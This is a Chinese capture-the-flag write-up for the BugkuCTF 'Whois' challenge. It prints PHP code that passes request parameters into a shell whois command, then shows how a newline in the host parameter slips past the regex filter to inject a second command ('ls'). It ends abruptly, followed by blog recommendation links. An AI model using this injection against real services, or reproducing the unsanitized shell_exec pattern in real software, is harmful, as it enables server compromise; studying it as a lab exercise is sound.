【BugkuCTF】Whois

直接访问http://49.232.142.230:15900/query.php

会直接爆出源码

复制代码
<?php

error_reporting(0);

$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";


if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {

  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }

} 
else {
  highlight_file(__FILE__);
  exit;
}

?>

<!DOCTYPE html>
<html>
  <head>
    <title>Whois</title>
  </head>
  <body>
    <pre><?= htmlspecialchars($output) ?></pre>
  </body>
</html>

具体执行的命令大概如下所示

复制代码
/usr/bin/whois -h whois.verisign-grs.com baidu.com

但是这里需要绕正则,通过正则可知我们无法使用常规的方法来拼接命令

复制代码
# host参数只能由0-9、a-z、A-Z、.(点)、-(减号)以及\n或者\r 组成
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
# query参数只能由0-9、a-z、A-Z、.(点)、 (空格)以及\n或者\r组成
$query_regex = "/^[0-9a-zA-Z\. ]+$/";

可以看到**\n换行符** 和**\r回车符**是可以用的

这里回车符不行,但是换行符可以

这样子后端的命令就变成了

复制代码
/usr/bin/whois -h whois.verisign-grs.com
ls
相关推荐
马立杰1 天前
IE241216_准入认证技术
安全·网络安全·交换安全
白猫不黑1 天前
AI时代如何利用AI学好网络安全
人工智能·安全·web安全·计算机·网络安全·信息安全
佳&弥1 天前
后渗透痕迹清理
服务器·windows·web安全·网络安全
2501_915921431 天前
抓包工具对比:Charles、TraceEagle、Wireshark、Fiddler 与 Proxyman
网络协议·计算机网络·网络安全·ios·adb·https·udp
Shi-p1 天前
实战|分布式诱捕威胁情报 TrapCloud,无需本地部署,实现公网攻击源主动封堵
网络安全·威胁分析
Johny_Zhao2 天前
网络安全等级保护测评实施方案
linux·网络·人工智能·网络安全·信息安全·云计算·等保测评·系统运维·itsm
菩提小狗2 天前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全
HackTwoHub2 天前
BurpSuite2026.8专业(稳定版)下载Windows/Linux/Mac支持Java21以上(新增Burp AT智能体)
linux·运维·服务器·安全·macos·网络安全·自动化
Chockmans2 天前
SRC---信息收集(灯塔自动化推荐)
网络安全
数据知道2 天前
YARA 规则编写实战——从样本到检测规则
网络·安全·网络安全